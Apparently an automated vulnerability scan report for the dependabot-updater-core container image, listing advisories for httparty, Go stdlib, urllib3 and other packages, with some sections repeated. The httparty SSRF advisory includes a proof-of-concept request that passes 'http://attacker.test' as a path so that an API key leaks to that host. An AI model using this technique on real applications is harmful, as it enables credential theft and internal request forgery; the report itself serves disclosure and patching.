httparty 0.22.0 (gem) pkg:gem/httparty@0.22.0 Server-Side Request Forgery (SSRF) Affected range <=0.23.2 Fixed version 0.24.0 CVSS Score 7.8 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:P EPSS Score 0.039% EPSS Percentile 12th percentile Description Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. Details When httparty receives a path argument that is an absolute URL, it ignores the base_uri field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate. Consider the following example of a web application: require 'sinatra' require 'httparty' class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end Now, suppose an attacker sends a request like this: POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json { "repository_id": "http://attacker.test", "title": "test" } In this case, httparty sends the X-API-KEY not to http://example.test but instead to http://attacker.test. A similar problem was reported and fixed in the HTTP client library axios in the past: axios/axios#6463 Also, Python's urljoin function has documented a warning about similar behavior: https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin PoC Follow these steps to reproduce the issue: Set up two simple HTTP servers. mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & Create a script (for example, main.rb): require 'httparty' class Client include HTTParty base_uri 'http://localhost:10001' end data = Client.get('http://localhost:10002').body puts data Run the script: $ ruby main.rb this is server2 Although base_uri is set to http://localhost:10001/, httparty sends the request to http://localhost:10002/. Impact Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. Affected users: Any software that uses base_uri and does not properly validate the path parameter may be affected by this issue.

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OS	24.04

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🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

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digest	sha256:354d02aa29acf525570c732b6e006ecf138de6d63ca525d552eb4b24880ddc6c
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platform	linux/amd64
size	341 MB
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📦 Base Image ubuntu:14a4f85a37e1371d2fcf8345a5325c82048e05f9501bfaa4f58924c2d56f195e

also known as	24.04 latest noble noble-20260113
digest	sha256:a4453623f2f8319cfff65c43da9be80fe83b1a7ce689579b475867d69495b782
vulnerabilities

stdlib 1.18.3 (golang) pkg:golang/stdlib@1.18.3 Affected range <1.21.11 Fixed version 1.21.11 EPSS Score 0.085% EPSS Percentile 25th percentile Description The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.243% EPSS Percentile 47th percentile Description Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.646% EPSS Percentile 70th percentile Description Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected. Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template. As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml. With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21. Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution. Affected range <1.23.8 Fixed version 1.23.8 EPSS Score 0.043% EPSS Percentile 13th percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext. Affected range <1.19.10 Fixed version 1.19.10 EPSS Score 0.009% EPSS Percentile 1st percentile Description On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors. If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers. Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.163% EPSS Percentile 38th percentile Description Calling Parse on a "// +build" build tag line with deeply nested expressions can cause a panic due to stack exhaustion. Affected range <1.22.7 Fixed version 1.22.7 EPSS Score 0.306% EPSS Percentile 53rd percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. This is a follow-up to CVE-2022-30635. Affected range <1.21.12 Fixed version 1.21.12 EPSS Score 0.618% EPSS Percentile 69th percentile Description The net/http HTTP/1.1 client mishandled the case where a server responds to a request with an "Expect: 100-continue" header with a non-informational (200 or higher) status. This mishandling could leave a client connection in an invalid state, where the next request sent on the connection will fail. An attacker sending a request to a net/http/httputil.ReverseProxy proxy can exploit this mishandling to cause a denial of service by sending "Expect: 100-continue" requests which elicit a non-informational response from the backend. Each such request leaves the proxy with an invalid connection, and causes one subsequent request using that connection to fail. Affected range <1.21.8 Fixed version 1.21.8 EPSS Score 1.498% EPSS Percentile 81st percentile Description The ParseAddressList function incorrectly handles comments (text within parentheses) within display names. Since this is a misalignment with conforming address parsers, it can result in different trust decisions being made by programs using different parsers. Affected range <1.21.9 Fixed version 1.21.9 EPSS Score 66.635% EPSS Percentile 98th percentile Description An attacker may cause an HTTP/2 endpoint to read arbitrary amounts of header data by sending an excessive number of CONTINUATION frames. Maintaining HPACK state requires parsing and processing all HEADERS and CONTINUATION frames on a connection. When a request's headers exceed MaxHeaderBytes, no memory is allocated to store the excess headers, but they are still parsed. This permits an attacker to cause an HTTP/2 endpoint to read arbitrary amounts of header data, all associated with a request which is going to be rejected. These headers can include Huffman-encoded data which is significantly more expensive for the receiver to decode than for an attacker to send. The fix sets a limit on the amount of excess header frames we will process before closing a connection. Affected range <1.20.0 Fixed version 1.20.0 EPSS Score 0.185% EPSS Percentile 40th percentile Description Before Go 1.20, the RSA based TLS key exchanges used the math/big library, which is not constant time. RSA blinding was applied to prevent timing attacks, but analysis shows this may not have been fully effective. In particular it appears as if the removal of PKCS#1 padding may leak timing information, which in turn could be used to recover session key bits. In Go 1.20, the crypto/tls library switched to a fully constant time RSA implementation, which we do not believe exhibits any timing side channels. Affected range <1.20.11 Fixed version 1.20.11 EPSS Score 0.083% EPSS Percentile 24th percentile Description The filepath package does not recognize paths with a ??\ prefix as special. On Windows, a path beginning with ??\ is a Root Local Device path equivalent to a path beginning with \?. Paths with a ??\ prefix may be used to access arbitrary locations on the system. For example, the path ??\c:\x is equivalent to the more common path c:\x. Before fix, Clean could convert a rooted path such as \a..??\b into the root local device path ??\b. Clean will now convert this to .??\b. Similarly, Join(, ??, b) could convert a seemingly innocent sequence of path elements into the root local device path ??\b. Join will now convert this to .??\b. In addition, with fix, IsAbs now correctly reports paths beginning with ??\ as absolute, and VolumeName correctly reports the ??\ prefix as a volume name. UPDATE: Go 1.20.11 and Go 1.21.4 inadvertently changed the definition of the volume name in Windows paths starting with ?, resulting in filepath.Clean(?\c:) returning ?\c: rather than ?\c:\ (among other effects). The previous behavior has been restored. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 94.466% EPSS Percentile 100th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.20.10 Fixed version 1.20.10 EPSS Score 0.150% EPSS Percentile 36th percentile Description A malicious HTTP/2 client which rapidly creates requests and immediately resets them can cause excessive server resource consumption. While the total number of requests is bounded by the http2.Server.MaxConcurrentStreams setting, resetting an in-progress request allows the attacker to create a new request while the existing one is still executing. With the fix applied, HTTP/2 servers now bound the number of simultaneously executing handler goroutines to the stream concurrency limit (MaxConcurrentStreams). New requests arriving when at the limit (which can only happen after the client has reset an existing, in-flight request) will be queued until a handler exits. If the request queue grows too large, the server will terminate the connection. This issue is also fixed in golang.org/x/net/http2 for users manually configuring HTTP/2. The default stream concurrency limit is 250 streams (requests) per HTTP/2 connection. This value may be adjusted using the golang.org/x/net/http2 package; see the Server.MaxConcurrentStreams setting and the ConfigureServer function. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.013% EPSS Percentile 1st percentile Description Calling any of the Parse functions on Go source code which contains //line directives with very large line numbers can cause an infinite loop due to integer overflow. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.066% EPSS Percentile 21st percentile Description Multipart form parsing can consume large amounts of CPU and memory when processing form inputs containing very large numbers of parts. This stems from several causes: mime/multipart.Reader.ReadForm limits the total memory a parsed multipart form can consume. ReadForm can undercount the amount of memory consumed, leading it to accept larger inputs than intended. Limiting total memory does not account for increased pressure on the garbage collector from large numbers of small allocations in forms with many parts. ReadForm can allocate a large number of short-lived buffers, further increasing pressure on the garbage collector. The combination of these factors can permit an attacker to cause an program that parses multipart forms to consume large amounts of CPU and memory, potentially resulting in a denial of service. This affects programs that use mime/multipart.Reader.ReadForm, as well as form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. With fix, ReadForm now does a better job of estimating the memory consumption of parsed forms, and performs many fewer short-lived allocations. In addition, the fixed mime/multipart.Reader imposes the following limits on the size of parsed forms: Forms parsed with ReadForm may contain no more than 1000 parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxparts=. Form parts parsed with NextPart and NextRawPart may contain no more than 10,000 header fields. In addition, forms parsed with ReadForm may contain no more than 10,000 header fields across all parts. This limit may be adjusted with the environment variable GODEBUG=multipartmaxheaders=. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.045% EPSS Percentile 14th percentile Description HTTP and MIME header parsing can allocate large amounts of memory, even when parsing small inputs, potentially leading to a denial of service. Certain unusual patterns of input data can cause the common function used to parse HTTP and MIME headers to allocate substantially more memory than required to hold the parsed headers. An attacker can exploit this behavior to cause an HTTP server to allocate large amounts of memory from a small request, potentially leading to memory exhaustion and a denial of service. With fix, header parsing now correctly allocates only the memory required to hold parsed headers. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.055% EPSS Percentile 17th percentile Description A denial of service is possible from excessive resource consumption in net/http and mime/multipart. Multipart form parsing with mime/multipart.Reader.ReadForm can consume largely unlimited amounts of memory and disk files. This also affects form parsing in the net/http package with the Request methods FormFile, FormValue, ParseMultipartForm, and PostFormValue. ReadForm takes a maxMemory parameter, and is documented as storing "up to maxMemory bytes +10MB (reserved for non-file parts) in memory". File parts which cannot be stored in memory are stored on disk in temporary files. The unconfigurable 10MB reserved for non-file parts is excessively large and can potentially open a denial of service vector on its own. However, ReadForm did not properly account for all memory consumed by a parsed form, such as map entry overhead, part names, and MIME headers, permitting a maliciously crafted form to consume well over 10MB. In addition, ReadForm contained no limit on the number of disk files created, permitting a relatively small request body to create a large number of disk temporary files. With fix, ReadForm now properly accounts for various forms of memory overhead, and should now stay within its documented limit of 10MB + maxMemory bytes of memory consumption. Users should still be aware that this limit is high and may still be hazardous. In addition, ReadForm now creates at most one on-disk temporary file, combining multiple form parts into a single temporary file. The mime/multipart.File interface type's documentation states, "If stored on disk, the File's underlying concrete type will be an *os.File.". This is no longer the case when a form contains more than one file part, due to this coalescing of parts into a single file. The previous behavior of using distinct files for each form part may be reenabled with the environment variable GODEBUG=multipartfiles=distinct. Users should be aware that multipart.ReadForm and the http.Request methods that call it do not limit the amount of disk consumed by temporary files. Callers can limit the size of form data with http.MaxBytesReader. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Large handshake records may cause panics in crypto/tls. Both clients and servers may send large TLS handshake records which cause servers and clients, respectively, to panic when attempting to construct responses. This affects all TLS 1.3 clients, TLS 1.2 clients which explicitly enable session resumption (by setting Config.ClientSessionCache to a non-nil value), and TLS 1.3 servers which request client certificates (by setting Config.ClientAuth >= RequestClientCert). Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.229% EPSS Percentile 45th percentile Description A maliciously crafted HTTP/2 stream could cause excessive CPU consumption in the HPACK decoder, sufficient to cause a denial of service from a small number of small requests. Affected range <1.19.6 Fixed version 1.19.6 EPSS Score 0.175% EPSS Percentile 39th percentile Description A path traversal vulnerability exists in filepath.Clean on Windows. On Windows, the filepath.Clean function could transform an invalid path such as "a/../c:/b" into the valid path "c:\b". This transformation of a relative (if invalid) path into an absolute path could enable a directory traversal attack. After fix, the filepath.Clean function transforms this path into the relative (but still invalid) path ".\c:\b". Affected range <1.18.9 Fixed version 1.18.9 EPSS Score 0.069% EPSS Percentile 21st percentile Description On Windows, restricted files can be accessed via os.DirFS and http.Dir. The os.DirFS function and http.Dir type provide access to a tree of files rooted at a given directory. These functions permit access to Windows device files under that root. For example, os.DirFS("C:/tmp").Open("COM1") opens the COM1 device. Both os.DirFS and http.Dir only provide read-only filesystem access. In addition, on Windows, an os.DirFS for the directory (the root of the current drive) can permit a maliciously crafted path to escape from the drive and access any path on the system. With fix applied, the behavior of os.DirFS("") has changed. Previously, an empty root was treated equivalently to "/", so os.DirFS("").Open("tmp") would open the path "/tmp". This now returns an error. Affected range <1.18.8 Fixed version 1.18.8 EPSS Score 0.013% EPSS Percentile 2nd percentile Description Due to unsanitized NUL values, attackers may be able to maliciously set environment variables on Windows. In syscall.StartProcess and os/exec.Cmd, invalid environment variable values containing NUL values are not properly checked for. A malicious environment variable value can exploit this behavior to set a value for a different environment variable. For example, the environment variable string "A=B\x00C=D" sets the variables "A=B" and "C=D". Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Programs which compile regular expressions from untrusted sources may be vulnerable to memory exhaustion or denial of service. The parsed regexp representation is linear in the size of the input, but in some cases the constant factor can be as high as 40,000, making relatively small regexps consume much larger amounts of memory. After fix, each regexp being parsed is limited to a 256 MB memory footprint. Regular expressions whose representation would use more space than that are rejected. Normal use of regular expressions is unaffected. Affected range >=1.18.0-0 <1.18.5 Fixed version 1.18.5 EPSS Score 0.113% EPSS Percentile 30th percentile Description Decoding big.Float and big.Rat types can panic if the encoded message is too short, potentially allowing a denial of service. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Decoder.Decode on a message which contains deeply nested structures can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Unmarshaling an XML document into a Go struct which has a nested field that uses the 'any' field tag can panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.096% EPSS Percentile 27th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.041% EPSS Percentile 12th percentile Description Calling Reader.Read on an archive containing a large number of concatenated 0-length compressed files can cause a panic due to stack exhaustion. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.038% EPSS Percentile 11th percentile Description Calling Glob on a path which contains a large number of path separators can cause a panic due to stack exhaustion. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.031% EPSS Percentile 9th percentile Description Requests forwarded by ReverseProxy include the raw query parameters from the inbound request, including unparsable parameters rejected by net/http. This could permit query parameter smuggling when a Go proxy forwards a parameter with an unparsable value. After fix, ReverseProxy sanitizes the query parameters in the forwarded query when the outbound request's Form field is set after the ReverseProxy. Director function returns, indicating that the proxy has parsed the query parameters. Proxies which do not parse query parameters continue to forward the original query parameters unchanged. Affected range <1.18.7 Fixed version 1.18.7 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Reader.Read does not set a limit on the maximum size of file headers. A maliciously crafted archive could cause Read to allocate unbounded amounts of memory, potentially causing resource exhaustion or panics. After fix, Reader.Read limits the maximum size of header blocks to 1 MiB. Affected range >=1.18.0-0 <1.18.4 Fixed version 1.18.4 EPSS Score 0.014% EPSS Percentile 2nd percentile Description Calling Decoder.Skip when parsing a deeply nested XML document can cause a panic due to stack exhaustion. Affected range <1.18.6 Fixed version 1.18.6 EPSS Score 0.093% EPSS Percentile 26th percentile Description HTTP/2 server connections can hang forever waiting for a clean shutdown that was preempted by a fatal error. This condition can be exploited by a malicious client to cause a denial of service. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.048% EPSS Percentile 15th percentile Description Templates containing actions in unquoted HTML attributes (e.g. "attr={{.}}") executed with empty input can result in output with unexpected results when parsed due to HTML normalization rules. This may allow injection of arbitrary attributes into tags. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.065% EPSS Percentile 20th percentile Description Angle brackets (<>) are not considered dangerous characters when inserted into CSS contexts. Templates containing multiple actions separated by a '/' character can result in unexpectedly closing the CSS context and allowing for injection of unexpected HTML, if executed with untrusted input.

stdlib 1.24.4 (golang) pkg:golang/stdlib@1.24.4 Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the certificate. This affects programs which validate arbitrary certificate chains.

urllib3 2.0.7 (pypi) pkg:pypi/urllib3@2.0.7 Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.22 <2.6.3 Fixed version 2.6.3 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.018% EPSS Percentile 4th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. However, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client (high CPU usage and large memory allocations for decompressed data; CWE-409). Affected usages Applications and libraries using urllib3 version 2.6.2 and earlier to stream content from untrusted sources by setting preload_content=False when they do not disable redirects. Remediation Upgrade to at least urllib3 v2.6.3 in which the library does not decode content of redirect responses when preload_content=False. If upgrading is not immediately possible, disable redirects by setting redirect=False for requests to untrusted source. Improper Handling of Highly Compressed Data (Data Amplification) Affected range >=1.0 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.026% EPSS Percentile 6th percentile Description Impact urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. When streaming a compressed response, urllib3 can perform decoding or decompression based on the HTTP Content-Encoding header (e.g., gzip, deflate, br, or zstd). The library must read compressed data from the network and decompress it until the requested chunk size is met. Any resulting decompressed data that exceeds the requested amount is held in an internal buffer for the next read operation. The decompression logic could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This can result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side, even if the application only requested a small chunk of data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier to stream large compressed responses or content from untrusted sources. stream(), read(amt=256), read1(amt=256), read_chunked(amt=256), readinto(b) are examples of urllib3.HTTPResponse method calls using the affected logic unless decoding is disabled explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library avoids decompressing data that exceeds the requested amount. If your environment contains a package facilitating the Brotli encoding, upgrade to at least Brotli 1.2.0 or brotlicffi 1.2.0.0 too. These versions are enforced by the urllib3[brotli] extra in the patched versions of urllib3. Credits The issue was reported by @Cycloctane. Supplemental information was provided by @stamparm during a security audit performed by 7ASecurity and facilitated by OSTIF. Allocation of Resources Without Limits or Throttling Affected range >=1.24 <2.6.0 Fixed version 2.6.0 CVSS Score 8.9 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H EPSS Score 0.033% EPSS Percentile 9th percentile Description Impact urllib3 supports chained HTTP encoding algorithms for response content according to RFC 9110 (e.g., Content-Encoding: gzip, zstd). However, the number of links in the decompression chain was unbounded allowing a malicious server to insert a virtually unlimited number of compression steps leading to high CPU usage and massive memory allocation for the decompressed data. Affected usages Applications and libraries using urllib3 version 2.5.0 and earlier for HTTP requests to untrusted sources unless they disable content decoding explicitly. Remediation Upgrade to at least urllib3 v2.6.0 in which the library limits the number of links to 5. If upgrading is not immediately possible, use preload_content=False and ensure that resp.headers["content-encoding"] contains a safe number of encodings before reading the response content.

cryptography 41.0.7 (pypi) pkg:pypi/cryptography@41.0.7 Observable Discrepancy Affected range <42.0.0 Fixed version 42.0.0 CVSS Score 8.7 CVSS Vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N EPSS Score 0.707% EPSS Percentile 72nd percentile Description A flaw was found in the python-cryptography package. This issue may allow a remote attacker to decrypt captured messages in TLS servers that use RSA key exchanges, which may lead to exposure of confidential or sensitive data. NULL Pointer Dereference Affected range >=38.0.0 <42.0.4 Fixed version 42.0.4 CVSS Score 7.5 CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H EPSS Score 0.341% EPSS Percentile 56th percentile Description If pkcs12.serialize_key_and_certificates is called with both: A certificate whose public key did not match the provided private key An encryption_algorithm with hmac_hash set (via PrivateFormat.PKCS12.encryption_builder().hmac_hash(...) Then a NULL pointer dereference would occur, crashing the Python process. This has been resolved, and now a ValueError is properly raised. Patched in pyca/cryptography#10423

golang.org/x/crypto 0.36.0 (golang) pkg:golang/golang.org/x/crypto@0.36.0 Affected range <0.43.0 Fixed version 0.43.0 EPSS Score 0.033% EPSS Percentile 9th percentile Description SSH clients receiving SSH_AGENT_SUCCESS when expecting a typed response will panic and cause early termination of the client process.

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Recommended fixes for image ghcr.io/dependabot/dependabot-updater-core:latest

Base image is ubuntu:24.04

Name	24.04
Digest	sha256:a4453623f2f8319cfff65c43da9be80fe83b1a7ce689579b475867d69495b782
Vulnerabilities
Pushed	1 week ago
Size	30 MB
Packages	131
OS	24.04

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Tag	Details	Pushed	Vulnerabilities
26.04 Major OS version update Also known as: devel resolute resolute-20260106.1	Benefits: Image contains 9 fewer packages Image has similar size Image introduces no new vulnerability but removes 8 Major OS version update Image details: Size: 34 MB OS: 26.04	2 weeks ago
25.10 Major OS version update Also known as: rolling questing questing-20251217	Benefits: Image contains 7 fewer packages Image has similar size Image introduces no new vulnerability but removes 8 Major OS version update Image details: Size: 34 MB OS: 25.10	1 month ago

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🔍 Vulnerabilities of ghcr.io/dependabot/dependabot-updater-core:latest

📦 Image Reference ghcr.io/dependabot/dependabot-updater-core:latest

digest	sha256:354d02aa29acf525570c732b6e006ecf138de6d63ca525d552eb4b24880ddc6c
vulnerabilities
platform	linux/amd64
size	341 MB
packages	594

📦 Base Image ubuntu:14a4f85a37e1371d2fcf8345a5325c82048e05f9501bfaa4f58924c2d56f195e

also known as	24.04 latest noble noble-20260113
digest	sha256:a4453623f2f8319cfff65c43da9be80fe83b1a7ce689579b475867d69495b782
vulnerabilities

stdlib 1.18.3 (golang) pkg:golang/stdlib@1.18.3 Affected range <1.21.11 Fixed version 1.21.11 EPSS Score 0.085% EPSS Percentile 25th percentile Description The various Is methods (IsPrivate, IsLoopback, etc) did not work as expected for IPv4-mapped IPv6 addresses, returning false for addresses which would return true in their traditional IPv4 forms. Affected range <1.19.9 Fixed version 1.19.9 EPSS Score 0.243% EPSS Percentile 47th percentile Description Not all valid JavaScript whitespace characters are considered to be whitespace. Templates containing whitespace characters outside of the character set "\t\n\f\r\u0020\u2028\u2029" in JavaScript contexts that also contain actions may not be properly sanitized during execution. Affected range <1.19.8 Fixed version 1.19.8 EPSS Score 0.646% EPSS Percentile 70th percentile Description Templates do not properly consider backticks (`) as Javascript string delimiters, and do not escape them as expected. Backticks are used, since ES6, for JS template literals. If a template contains a Go template action within a Javascript template literal, the contents of the action can be used to terminate the literal, injecting arbitrary Javascript code into the Go template. As ES6 template literals are rather complex, and themselves can do string interpolation, the decision was made to simply disallow Go template actions from being used inside of them (e.g. "var a = {{.}}"), since there is no obviously safe way to allow this behavior. This takes the same approach as github.com/google/safehtml. With fix, Template.Parse returns an Error when it encounters templates like this, with an ErrorCode of value 12. This ErrorCode is currently unexported, but will be exported in the release of Go 1.21. Users who rely on the previous behavior can re-enable it using the GODEBUG flag jstmpllitinterp=1, with the caveat that backticks will now be escaped. This should be used with caution. Affected range <1.23.8 Fixed version 1.23.8 EPSS Score 0.043% EPSS Percentile 13th percentile Description The net/http package improperly accepts a bare LF as a line terminator in chunked data chunk-size lines. This can permit request smuggling if a net/http server is used in conjunction with a server that incorrectly accepts a bare LF as part of a chunk-ext. Affected range <1.19.10 Fixed version 1.19.10 EPSS Score 0.009% EPSS Percentile 1st percentile Description On Unix platforms, the Go runtime does not behave differently when a binary is run with the setuid/setgid bits. This can be dangerous in certain cases, such as when dumping memory state, or assuming the status of standard i/o file descriptors. If a setuid/setgid binary is executed with standard I/O file descriptors closed, opening any files can result in unexpected content being read or written with elevated privileges. Similarly, if a setuid/setgid program is terminated, either via panic or signal, it may leak the contents of its registers. Affected range <1.24.11 Fixed version 1.24.11 EPSS Score 0.017% EPSS Percentile 3rd percentile Description Within HostnameError.Error(), when constructing an error string, there is no limit to the number of hosts that will be printed out. Furthermore, the error string is constructed by repeated string concatenation, leading to quadratic runtime. Therefore, a certificate provided by a malicious actor can result in excessive resource consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The ParseAddress function constructs domain-literal address components through repeated string concatenation. When parsing large domain-literal components, this can cause excessive CPU consumption. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.031% EPSS Percentile 8th percentile Description The processing time for parsing some invalid inputs scales non-linearly with respect to the size of the input. This affects programs which parse untrusted PEM inputs. Affected range <1.24.8 Fixed version 1.24.8 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Validating certificate chains which contain DSA public keys can cause programs to panic, due to a interface cast that assumes they implement the Equal method. This affects programs which validate arbitrary certificate chains. Affected range <1.24.9 Fixed version 1.24.9 EPSS Score 0.016% EPSS Percentile 3rd percentile Description Due to the design of the name constraint checking algorithm, the processing time of some inputs scale non-linearly with respect to the size of the 